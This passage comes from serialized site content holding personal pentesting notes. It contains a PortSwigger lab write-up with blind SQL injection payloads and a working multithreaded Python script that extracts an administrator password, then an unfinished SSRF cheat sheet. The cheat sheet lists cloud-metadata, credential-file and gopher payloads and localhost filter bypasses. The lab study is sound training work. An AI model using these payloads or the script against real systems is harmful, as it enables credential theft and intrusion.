Responses",[19,12199,11324],{"id":11323},[15,12201,12202,12205],{},[26,12203,12204],{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[15,12207,12208,12209,12212,12213,12216,12217,12220,12221,12224],{},"In this variant (",[26,12210,12211],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[37,12214,12215],{},"TRUE"," or ",[37,12218,12219],{},"FALSE",". By crafting conditions like ",[37,12222,12223],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[19,12226,121],{"id":120},[15,12228,12229,11338,12231,12236,12238,11632,12240,12242,12244],{},[26,12230,11337],{},[125,12232,12235],{"href":12233,"rel":12234},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[129],"Blind SQL injection with conditional responses",[3546,12237],{},[26,12239,11346],{},[3546,12241],{},[26,12243,11350],{}," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[19,12246,10515],{"id":10514},[15,12248,12249,12250,12253],{},"The application stores a ",[37,12251,12252],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[15,12255,12256],{},"First, we confirm the injection point by appending a quote:",[142,12258,12261],{"className":12259,"code":12260,"language":147},[145],"TrackingId=ncJfdwqSUQK7Gh4b'--\n",[37,12262,12260],{"__ignoreMap":87},[15,12264,12265,12266,12269],{},"The \"Welcome back!\" message still appears — the comment ",[37,12267,12268],{},"--"," neutralizes the rest of the original query, so the injection is active.",[15,12271,12272],{},"Next, we verify boolean behavior:",[142,12274,12278],{"className":12275,"code":12276,"language":12277,"meta":87,"style":87},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[37,12279,12280,12285,12290,12294,12299],{"__ignoreMap":87},[313,12281,12282],{"class":315,"line":316},[313,12283,12284],{},"-- TRUE condition → \"Welcome back!\" appears\n",[313,12286,12287],{"class":315,"line":88},[313,12288,12289],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[313,12291,12292],{"class":315,"line":253},[313,12293,777],{"emptyLinePlaceholder":96},[313,12295,12296],{"class":315,"line":780},[313,12297,12298],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[313,12300,12301],{"class":315,"line":792},[313,12302,12303],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,12305,12306],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[19,12308,2112],{"id":2111},[137,12310,12312],{"id":12311},"step-1-determine-password-length","Step 1 — Determine password length",[15,12314,12315,12316,12319],{},"We use ",[37,12317,12318],{},"LENGTH()"," to find how many characters the administrator's password has:",[142,12321,12323],{"className":12275,"code":12322,"language":12277,"meta":87,"style":87},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[37,12324,12325],{"__ignoreMap":87},[313,12326,12327],{"class":315,"line":316},[313,12328,12322],{},[15,12330,12331,12332,12335,12336,524],{},"\"Welcome back!\" appears at ",[37,12333,12334],{},"= 20"," — the password is ",[26,12337,12338],{},"20 characters long",[137,12340,12342],{"id":12341},"step-2-extract-characters","Step 2 — Extract characters",[15,12344,12315,12345,12348],{},[37,12346,12347],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[142,12350,12352],{"className":12275,"code":12351,"language":12277,"meta":87,"style":87},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[37,12353,12354,12359],{"__ignoreMap":87},[313,12355,12356],{"class":315,"line":316},[313,12357,12358],{},"-- Is the 1st character 'w'?\n",[313,12360,12361],{"class":315,"line":88},[313,12362,12363],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,12365,12366],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[137,12368,12370],{"id":12369},"step-3-automate-with-python","Step 3 — Automate with Python",[15,12372,12373,12374,12377],{},"The script uses ",[37,12375,12376],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[142,12379,12383],{"className":12380,"code":12381,"language":12382,"meta":87,"style":87},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[37,12384,12385,12390,12395,12400,12404,12409,12414,12419,12424,12428,12433,12438,12443,12447,12451,12456,12461,12466,12471,12476,12480,12484,12489,12494,12499,12504,12509,12514,12520,12526,12531,12536,12542,12548,12554,12559,12565,12571,12576,12581,12587,12593,12599,12605,12611,12617,12623,12629,12635,12641,12646,12651,12657,12663,12669,12675,12680,12685,12691],{"__ignoreMap":87},[313,12386,12387],{"class":315,"line":316},[313,12388,12389],{},"import requests\n",[313,12391,12392],{"class":315,"line":88},[313,12393,12394],{},"import string\n",[313,12396,12397],{"class":315,"line":253},[313,12398,12399],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[313,12401,12402],{"class":315,"line":780},[313,12403,777],{"emptyLinePlaceholder":96},[313,12405,12406],{"class":315,"line":792},[313,12407,12408],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[313,12410,12411],{"class":315,"line":802},[313,12412,12413],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[313,12415,12416],{"class":315,"line":821},[313,12417,12418],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[313,12420,12421],{"class":315,"line":833},[313,12422,12423],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[313,12425,12426],{"class":315,"line":842},[313,12427,777],{"emptyLinePlaceholder":96},[313,12429,12430],{"class":315,"line":848},[313,12431,12432],{},"CHARSET = string.ascii_lowercase + string.digits\n",[313,12434,12435],{"class":315,"line":853},[313,12436,12437],{},"MAX_LENGTH = 30\n",[313,12439,12440],{"class":315,"line":874},[313,12441,12442],{},"THREADS = 10\n",[313,12444,12445],{"class":315,"line":889},[313,12446,777],{"emptyLinePlaceholder":96},[313,12448,12449],{"class":315,"line":894},[313,12450,777],{"emptyLinePlaceholder":96},[313,12452,12453],{"class":315,"line":899},[313,12454,12455],{},"def check(sql_condition: str) -> bool:\n",[313,12457,12458],{"class":315,"line":907},[313,12459,12460],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[313,12462,12463],{"class":315,"line":919},[313,12464,12465],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[313,12467,12468],{"class":315,"line":925},[313,12469,12470],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[313,12472,12473],{"class":315,"line":931},[313,12474,12475],{},"    return \"Welcome back\" in r.text\n",[313,12477,12478],{"class":315,"line":937},[313,12479,777],{"emptyLinePlaceholder":96},[313,12481,12482],{"class":315,"line":943},[313,12483,777],{"emptyLinePlaceholder":96},[313,12485,12486],{"class":315,"line":953},[313,12487,12488],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[313,12490,12491],{"class":315,"line":958},[313,12492,12493],{},"    print(\"[*] Determining password length...\")\n",[313,12495,12496],{"class":315,"line":968},[313,12497,12498],{},"    for n in range(1, max_len + 1):\n",[313,12500,12501],{"class":315,"line":983},[313,12502,12503],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[313,12505,12506],{"class":315,"line":997},[313,12507,12508],{},"        if check(condition):\n",[313,12510,12511],{"class":315,"line":1011},[313,12512,12513],{},"            print(f\"[+] Password length: {n}\")\n",[313,12515,12517],{"class":315,"line":12516},28,[313,12518,12519],{},"            return n\n",[313,12521,12523],{"class":315,"line":12522},29,[313,12524,12525],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[313,12527,12529],{"class":315,"line":12528},30,[313,12530,777],{"emptyLinePlaceholder":96},[313,12532,12534],{"class":315,"line":12533},31,[313,12535,777],{"emptyLinePlaceholder":96},[313,12537,12539],{"class":315,"line":12538},32,[313,12540,12541],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[313,12543,12545],{"class":315,"line":12544},33,[313,12546,12547],{},"    for c in CHARSET:\n",[313,12549,12551],{"class":315,"line":12550},34,[313,12552,12553],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[313,12555,12557],{"class":315,"line":12556},35,[313,12558,12508],{},[313,12560,12562],{"class":315,"line":12561},36,[313,12563,12564],{},"            return pos, c\n",[313,12566,12568],{"class":315,"line":12567},37,[313,12569,12570],{},"    return pos, \"?\"\n",[313,12572,12574],{"class":315,"line":12573},38,[313,12575,777],{"emptyLinePlaceholder":96},[313,12577,12579],{"class":315,"line":12578},39,[313,12580,777],{"emptyLinePlaceholder":96},[313,12582,12584],{"class":315,"line":12583},40,[313,12585,12586],{},"def get_password(length: int) -> str:\n",[313,12588,12590],{"class":315,"line":12589},41,[313,12591,12592],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[313,12594,12596],{"class":315,"line":12595},42,[313,12597,12598],{},"    password = [\"?\"] * length\n",[313,12600,12602],{"class":315,"line":12601},43,[313,12603,12604],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[313,12606,12608],{"class":315,"line":12607},44,[313,12609,12610],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[313,12612,12614],{"class":315,"line":12613},45,[313,12615,12616],{},"        for future in as_completed(futures):\n",[313,12618,12620],{"class":315,"line":12619},46,[313,12621,12622],{},"            pos, char = future.result()\n",[313,12624,12626],{"class":315,"line":12625},47,[313,12627,12628],{},"            password[pos - 1] = char\n",[313,12630,12632],{"class":315,"line":12631},48,[313,12633,12634],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[313,12636,12638],{"class":315,"line":12637},49,[313,12639,12640],{},"    return \"\".join(password)\n",[313,12642,12644],{"class":315,"line":12643},50,[313,12645,777],{"emptyLinePlaceholder":96},[313,12647,12649],{"class":315,"line":12648},51,[313,12650,777],{"emptyLinePlaceholder":96},[313,12652,12654],{"class":315,"line":12653},52,[313,12655,12656],{},"def main():\n",[313,12658,12660],{"class":315,"line":12659},53,[313,12661,12662],{},"    length = get_password_length()\n",[313,12664,12666],{"class":315,"line":12665},54,[313,12667,12668],{},"    password = get_password(length)\n",[313,12670,12672],{"class":315,"line":12671},55,[313,12673,12674],{},"    print(f\"\\n[+] Password: {password}\")\n",[313,12676,12678],{"class":315,"line":12677},56,[313,12679,777],{"emptyLinePlaceholder":96},[313,12681,12683],{"class":315,"line":12682},57,[313,12684,777],{"emptyLinePlaceholder":96},[313,12686,12688],{"class":315,"line":12687},58,[313,12689,12690],{},"if __name__ == \"__main__\":\n",[313,12692,12694],{"class":315,"line":12693},59,[313,12695,12696],{},"    main()\n",[15,12698,12699,12700],{},"Result: ",[37,12701,12702],{},"wfa3n32o7a6mb4xon7d6",[15,12704,12705,12706,12708,12709,12711],{},"Log in to ",[37,12707,9860],{}," as ",[37,12710,4334],{}," with this password — lab solved.",[361,12713,363],{},{"title":87,"searchDepth":88,"depth":88,"links":12715},[12716,12717,12718,12719],{"id":11323,"depth":88,"text":11324},{"id":120,"depth":88,"text":121},{"id":10514,"depth":88,"text":10515},{"id":2111,"depth":88,"text":2112,"children":12720},[12721,12722,12723],{"id":12311,"depth":253,"text":12312},{"id":12341,"depth":253,"text":12342},{"id":12369,"depth":253,"text":12370},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsqli-blind-conditional-responses",{"title":12191,"description":12725},{"loc":12727},"notes\u002Fpentesting\u002Fportswigger\u002Fsqli-blind-conditional-responses",[264,12732,12733,269],"sql-injection","blind-sqli","D9kygXFw7bOxAYDfq1-5qdz8SXGF-Ib7EY2X9fw0eko",{"id":12736,"title":12737,"author":93,"body":12738,"date":93,"description":12753,"difficulty":93,"extension":94,"image":93,"inProgress":12754,"logged":12755,"marathonStartDate":12758,"meta":12767,"navigation":96,"notes":12768,"path":12771,"psTitle":93,"seo":12772,"sitemap":12773,"stem":12774,"tags":93,"timeSpent":93,"type":106,"__hash__":12775},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Findex.md","PortSwigger Web Security Academy",{"type":8,"value":12739,"toc":12751},[12740,12743],[11,12741,12737],{"id":12742},"portswigger-web-security-academy",[15,12744,12745,12746,12750],{},"A marathon of ",[125,12747,12737],{"href":12748,"rel":12749},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fall-labs",[129]," labs.",{"title":87,"searchDepth":88,"depth":88,"links":12752},[],"PortSwigger lab marathon — catalog by topic and per-day stats.",[],[12756,12759,12761,12763,12765],{"title":12757,"date":12758,"difficulty":257,"topic":10385},"Reflected XSS into HTML context with all tags blocked except custom ones","2026-04-27",{"title":12760,"date":12758,"difficulty":257,"topic":10385},"Reflected XSS in canonical link tag",{"title":12762,"date":12758,"difficulty":257,"topic":10385},"Reflected XSS into a JavaScript string with single quote and backslash escaped",{"title":12764,"date":12758,"difficulty":257,"topic":10385},"Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped",{"title":12766,"date":12758,"difficulty":257,"topic":10385},"Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped",{},[12769],{"date":11576,"text":12770},"Had little time. Tried solving without Burp Collaborator.","\u002Fnotes\u002Fpentesting\u002Fportswigger",{"title":12737,"description":12753},{"loc":12771},"notes\u002Fpentesting\u002Fportswigger\u002Findex","JeE6VbVw4MGZbl4ptSQqvl8BJ9xDosBclgqJrfW0DQE",[12777,14819,17144],{"id":12778,"title":12779,"author":6,"body":12780,"date":14808,"description":14809,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":14810,"navigation":96,"notes":93,"path":14811,"psTitle":93,"seo":14812,"sitemap":14813,"stem":14814,"tags":14815,"timeSpent":93,"type":14817,"__hash__":14818},"content_en\u002Fnotes\u002Fpentesting\u002Fssrf.md","Server-Side Request Forgery (SSRF)",{"type":8,"value":12781,"toc":14728},[12782,12785,12792,12796,12802,12809,12812,12815,12819,12823,12850,12854,13012,13016,13022,13026,13040,13042,13046,13050,13057,13063,13067,13074,13126,13130,13137,13139,13143,13147,13150,13154,13157,13163,13166,13172,13176,13182,13188,13210,13217,13221,13226,13229,13237,13244,13248,13282,13284,13288,13292,13297,13303,13308,13314,13317,13322,13328,13333,13339,13344,13350,13355,13361,13365,13370,13376,13381,13387,13390,13395,13401,13405,13411,13415,13418,13435,13438,13444,13448,13454,13459,13484,13494,13498,13505,13509,13515,13521,13528,13530,13534,13538,13544,13550,13609,13612,13617,13623,13626,13630,13636,13645,13649,13655,13662,13666,13672,13676,13679,13685,13688,13690,13694,13698,13701,13706,13712,13715,13720,13726,13732,13737,13743,13746,13752,13756,13759,13764,13793,13798,13802,13805,13811,13814,13818,13821,13835,13841,13845,13848,13868,13871,13877,13880,13884,13908,13910,13914,13917,13921,13951,13955,13988,13992,14021,14027,14029,14033,14144,14146,14150,14154,14168,14172,14198,14202,14210,14214,14231,14235,14241,14248,14250,14254,14258,14337,14341,14365,14369,14407,14411,14428,14430,14434,14488,14490,14494,14568,14570,14574,14580,14586,14592,14598,14600,14604,14608,14611,14615,14618,14622,14625,14629,14632,14636,14644,14648,14651,14655,14669,14673,14684,14688,14695,14699,14713,14715,14719,14725],[11,12783,12779],{"id":12784},"server-side-request-forgery-ssrf",[15,12786,12787,12788,12791],{},"SSRF is a vulnerability where ",[26,12789,12790],{},"the server makes an HTTP\u002FTCP request to a URL controlled by the attacker",". The attacker doesn't hit the target directly — they make the server do it for them.",[19,12793,12795],{"id":12794},"_1-what-is-ssrf","1. What Is SSRF",[142,12797,12800],{"className":12798,"code":12799,"language":147},[145],"Attacker → Vulnerable Server → Internal Resource\n                  ↑\n          \"Go fetch this URL\"\n",[37,12801,12799],{"__ignoreMap":87},[15,12803,12804,12805,12808],{},"The key difference from a normal request: the server sits ",[26,12806,12807],{},"inside the network perimeter"," and has access to resources that are unreachable from outside — internal APIs, cloud metadata, databases, orchestration systems.",[15,12810,12811],{},"The server acts as a proxy — with its IP address, its network permissions, its session cookies to internal services. A single SSRF can turn into leaked IAM keys, arbitrary file reads, or full RCE through internal services.",[12813,12814],"hr",{},[19,12816,12818],{"id":12817},"_2-where-to-look-for-ssrf","2. Where to Look for SSRF",[137,12820,12822],{"id":12821},"obvious-entry-points","Obvious Entry Points",[30,12824,12825,12838,12841,12844,12847],{},[33,12826,12827,12828,4244,12831,4244,12834,12837],{},"File\u002Fimage upload by URL (",[37,12829,12830],{},"url=",[37,12832,12833],{},"src=",[37,12835,12836],{},"image_url=",")",[33,12839,12840],{},"Avatar upload by link",[33,12842,12843],{},"Data import by URL (RSS, XML, CSV)",[33,12845,12846],{},"Webhooks — user supplies a URL for callbacks",[33,12848,12849],{},"Link previews (like Slack, Telegram, messengers)",[137,12851,12853],{"id":12852},"less-obvious-entry-points","Less Obvious Entry Points",[30,12855,12856,12980,12990,12996,13002,13007],{},[33,12857,12858,12861,12862],{},[26,12859,12860],{},"PDF\u002FHTML generation"," — wkhtmltopdf, Puppeteer, WeasyPrint render HTML and fetch resources. Payloads inside HTML that gets converted to PDF:\n",[142,12863,12865],{"className":3020,"code":12864,"language":3022,"meta":87,"style":87},"\u003Ciframe src=\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\u003C\u002Fiframe>\n\u003Cimg src=\"http:\u002F\u002Finternal-service:8080\u002Fadmin\">\n\u003Clink rel=\"stylesheet\" href=\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\">\n\u003Cscript>fetch('http:\u002F\u002F169.254.169.254\u002F...').then(r=>r.text()).then(d=>document.write(d))\u003C\u002Fscript>\n",[37,12866,12867,12886,12901,12925],{"__ignoreMap":87},[313,12868,12869,12871,12873,12875,12877,12880,12882,12884],{"class":315,"line":316},[313,12870,749],{"class":748},[313,12872,6651],{"class":752},[313,12874,3062],{"class":795},[313,12876,3037],{"class":748},[313,12878,12879],{"class":771},"\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"",[313,12881,3120],{"class":748},[313,12883,6651],{"class":752},[313,12885,756],{"class":748},[313,12887,12888,12890,12892,12894,12896,12899],{"class":315,"line":88},[313,12889,749],{"class":748},[313,12891,3059],{"class":752},[313,12893,3062],{"class":795},[313,12895,3037],{"class":748},[313,12897,12898],{"class":771},"\"http:\u002F\u002Finternal-service:8080\u002Fadmin\"",[313,12900,756],{"class":748},[313,12902,12903,12905,12908,12911,12913,12916,12918,12920,12923],{"class":315,"line":253},[313,12904,749],{"class":748},[313,12906,12907],{"class":752},"link",[313,12909,12910],{"class":795}," rel",[313,12912,3037],{"class":748},[313,12914,12915],{"class":771},"\"stylesheet\"",[313,12917,5927],{"class":795},[313,12919,3037],{"class":748},[313,12921,12922],{"class":771},"\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\"",[313,12924,756],{"class":748},[313,12926,12927,12929,12931,12933,12935,12937,12940,12942,12944,12946,12948,12950,12953,12955,12958,12960,12962,12965,12967,12970,12973,12976,12978],{"class":315,"line":780},[313,12928,749],{"class":748},[313,12930,753],{"class":752},[313,12932,3101],{"class":748},[313,12934,3202],{"class":795},[313,12936,3205],{"class":748},[313,12938,12939],{"class":771},"'http:\u002F\u002F169.254.169.254\u002F...'",[313,12941,11889],{"class":748},[313,12943,10605],{"class":795},[313,12945,3205],{"class":748},[313,12947,10610],{"class":9085},[313,12949,869],{"class":761},[313,12951,12952],{"class":748},"r.",[313,12954,147],{"class":795},[313,12956,12957],{"class":748},"()).",[313,12959,10605],{"class":795},[313,12961,3205],{"class":748},[313,12963,12964],{"class":9085},"d",[313,12966,869],{"class":761},[313,12968,12969],{"class":748},"document.",[313,12971,12972],{"class":795},"write",[313,12974,12975],{"class":748},"(d))\u003C\u002F",[313,12977,753],{"class":752},[313,12979,756],{"class":748},[33,12981,12982,12985,12986],{},[26,12983,12984],{},"SOAP\u002FXML parsing"," — external entities (XXE → SSRF), details: ",[125,12987,12989],{"href":12988},"\u002Fnotes\u002Fpentesting\u002Fxxe","XXE",[33,12991,12992,12995],{},[26,12993,12994],{},"API integrations"," — user specifies a third-party service endpoint",[33,12997,12998,13001],{},[26,12999,13000],{},"SVG, DOCX, XLSX uploads"," — XML inside with potential external entities",[33,13003,13004],{},[26,13005,13006],{},"URL availability checks \u002F health checks",[33,13008,13009],{},[26,13010,13011],{},"Server-side redirects",[137,13013,13015],{"id":13014},"parameters-to-look-for","Parameters to Look For",[142,13017,13020],{"className":13018,"code":13019,"language":147},[145],"url=, uri=, path=, src=, dest=, redirect=, link=, feed=,\ncallback=, next=, target=, rurl=, domain=, endpoint=,\nproxy=, page=, load=, fetch=, site=, html=, val=, view=\n",[37,13021,13019],{"__ignoreMap":87},[137,13023,13025],{"id":13024},"headers","Headers",[30,13027,13028,13033],{},[33,13029,13030,13032],{},[37,13031,4668],{}," — some applications follow the Referer for analytics",[33,13034,13035,5227,13037,13039],{},[37,13036,3402],{},[37,13038,2875],{}," — less common, but possible with improper handling",[12813,13041],{},[19,13043,13045],{"id":13044},"_3-types-of-ssrf","3. Types of SSRF",[137,13047,13049],{"id":13048},"non-blind-classic-ssrf","Non-blind (Classic) SSRF",[15,13051,13052,13053,13056],{},"The response from the internal service ",[26,13054,13055],{},"comes back to the attacker"," — fully or partially.",[142,13058,13061],{"className":13059,"code":13060,"language":147},[145],"GET \u002Ffetch?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F HTTP\u002F1.1\n\nResponse: ami-id, instance-id, iam\u002Fsecurity-credentials\u002F...\n",[37,13062,13060],{"__ignoreMap":87},[137,13064,13066],{"id":13065},"blind-ssrf","Blind SSRF",[15,13068,13069,13070,13073],{},"The response ",[26,13071,13072],{},"is not returned",". Ways to confirm and exploit:",[13075,13076,13077,13090],"table",{},[13078,13079,13080],"thead",{},[13081,13082,13083,13087],"tr",{},[13084,13085,13086],"th",{},"Technique",[13084,13088,13089],{},"How It Works",[13091,13092,13093,13102,13110,13118],"tbody",{},[13081,13094,13095,13099],{},[13096,13097,13098],"td",{},"OOB (out-of-band)",[13096,13100,13101],{},"Request to Burp Collaborator \u002F interactsh — watch for DNS\u002FHTTP callback",[13081,13103,13104,13107],{},[13096,13105,13106],{},"Timing",[13096,13108,13109],{},"Open port responds fast, closed port — timeout. Response time difference",[13081,13111,13112,13115],{},[13096,13113,13114],{},"Error differences",[13096,13116,13117],{},"Different HTTP codes or messages for different internal responses",[13081,13119,13120,13123],{},[13096,13121,13122],{},"Side effects",[13096,13124,13125],{},"SSRF to an internal API that changes something (deletion, restart)",[137,13127,13129],{"id":13128},"partial-ssrf","Partial SSRF",[15,13131,13132,13133,13136],{},"Response comes back but is ",[26,13134,13135],{},"truncated or filtered"," — you only see the status code, Content-Length, or headers.",[12813,13138],{},[19,13140,13142],{"id":13141},"_4-protocols-schemes","4. Protocols (Schemes)",[137,13144,13146],{"id":13145},"http-and-https","http:\u002F\u002F and https:\u002F\u002F",[15,13148,13149],{},"The baseline vector. Requests to internal web services and APIs.",[137,13151,13153],{"id":13152},"file","file:\u002F\u002F",[15,13155,13156],{},"Reading local files:",[142,13158,13161],{"className":13159,"code":13160,"language":147},[145],"file:\u002F\u002F\u002Fetc\u002Fpasswd\nfile:\u002F\u002F\u002Fetc\u002Fshadow\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fenviron        — environment variables (may contain secrets)\nfile:\u002F\u002F\u002Fproc\u002Fself\u002Fcmdline        — process startup arguments\nfile:\u002F\u002F\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa    — private SSH keys\nfile:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php  — application config files\nfile:\u002F\u002F\u002Froot\u002F.bash_history       — command history\n",[37,13162,13160],{"__ignoreMap":87},[15,13164,13165],{},"On Windows:",[142,13167,13170],{"className":13168,"code":13169,"language":147},[145],"file:\u002F\u002F\u002FC:\u002FWindows\u002Fwin.ini\nfile:\u002F\u002F\u002FC:\u002FUsers\u002FAdministrator\u002F.ssh\u002Fid_rsa\n",[37,13171,13169],{"__ignoreMap":87},[137,13173,13175],{"id":13174},"gopher","gopher:\u002F\u002F",[15,13177,13178,13181],{},[26,13179,13180],{},"The most powerful protocol for SSRF."," Lets you send arbitrary bytes into a TCP connection.",[15,13183,13184,13185],{},"Format: ",[37,13186,13187],{},"gopher:\u002F\u002Fhost:port\u002F_\u003Curl-encoded data>",[30,13189,13190,13199,13207],{},[33,13191,13192,13195,13196,13198],{},[37,13193,13194],{},"_"," — first character after ",[37,13197,7710],{},", gets ignored",[33,13200,13201,3699,13204,13206],{},[37,13202,13203],{},"%0D%0A",[37,13205,9671],{}," (line break)",[33,13208,13209],{},"All special characters are URL-encoded",[15,13211,13212,13213,13216],{},"Lets you interact with ",[26,13214,13215],{},"any TCP service",": Redis, SMTP, MySQL, FastCGI, Memcached.",[137,13218,13220],{"id":13219},"dict","dict:\u002F\u002F",[15,13222,13184,13223],{},[37,13224,13225],{},"dict:\u002F\u002Fhost:port\u002Fcommand",[15,13227,13228],{},"Used for:",[30,13230,13231,13234],{},[33,13232,13233],{},"Sending single commands to Redis\u002FMemcached",[33,13235,13236],{},"Port scanning",[15,13238,13239,13240,13243],{},"Limitation: sends only ",[26,13241,13242],{},"one line",", not suitable for complex command chains.",[137,13245,13247],{"id":13246},"others","Others",[30,13249,13250,13256,13261,13270,13276],{},[33,13251,13252,13255],{},[37,13253,13254],{},"ftp:\u002F\u002F"," — FTP interaction, bounce attacks",[33,13257,13258],{},[37,13259,13260],{},"sftp:\u002F\u002F",[33,13262,13263,5227,13266,13269],{},[37,13264,13265],{},"ldap:\u002F\u002F",[37,13267,13268],{},"ldaps:\u002F\u002F"," — queries to LDAP servers",[33,13271,13272,13275],{},[37,13273,13274],{},"tftp:\u002F\u002F"," — UDP-based",[33,13277,13278,13281],{},[37,13279,13280],{},"jar:\u002F\u002F"," — Java-specific, can load remote files",[12813,13283],{},[19,13285,13287],{"id":13286},"_5-filter-bypass","5. Filter Bypass",[137,13289,13291],{"id":13290},"bypassing-ip-blacklists-127001-localhost","Bypassing IP Blacklists (127.0.0.1, localhost)",[15,13293,13294],{},[26,13295,13296],{},"Alternative localhost notations:",[142,13298,13301],{"className":13299,"code":13300,"language":147},[145],"http:\u002F\u002F127.1\nhttp:\u002F\u002F127.0.1\nhttp:\u002F\u002F127.000.000.001\nhttp:\u002F\u002F0\nhttp:\u002F\u002F0.0.0.0\n",[37,13302,13300],{"__ignoreMap":87},[15,13304,13305],{},[26,13306,13307],{},"Decimal:",[142,13309,13312],{"className":13310,"code":13311,"language":147},[145],"http:\u002F\u002F2130706433        → 127.0.0.1\n",[37,13313,13311],{"__ignoreMap":87},[15,13315,13316],{},"Conversion: 127×256³ + 0×256² + 0×256¹ + 1 = 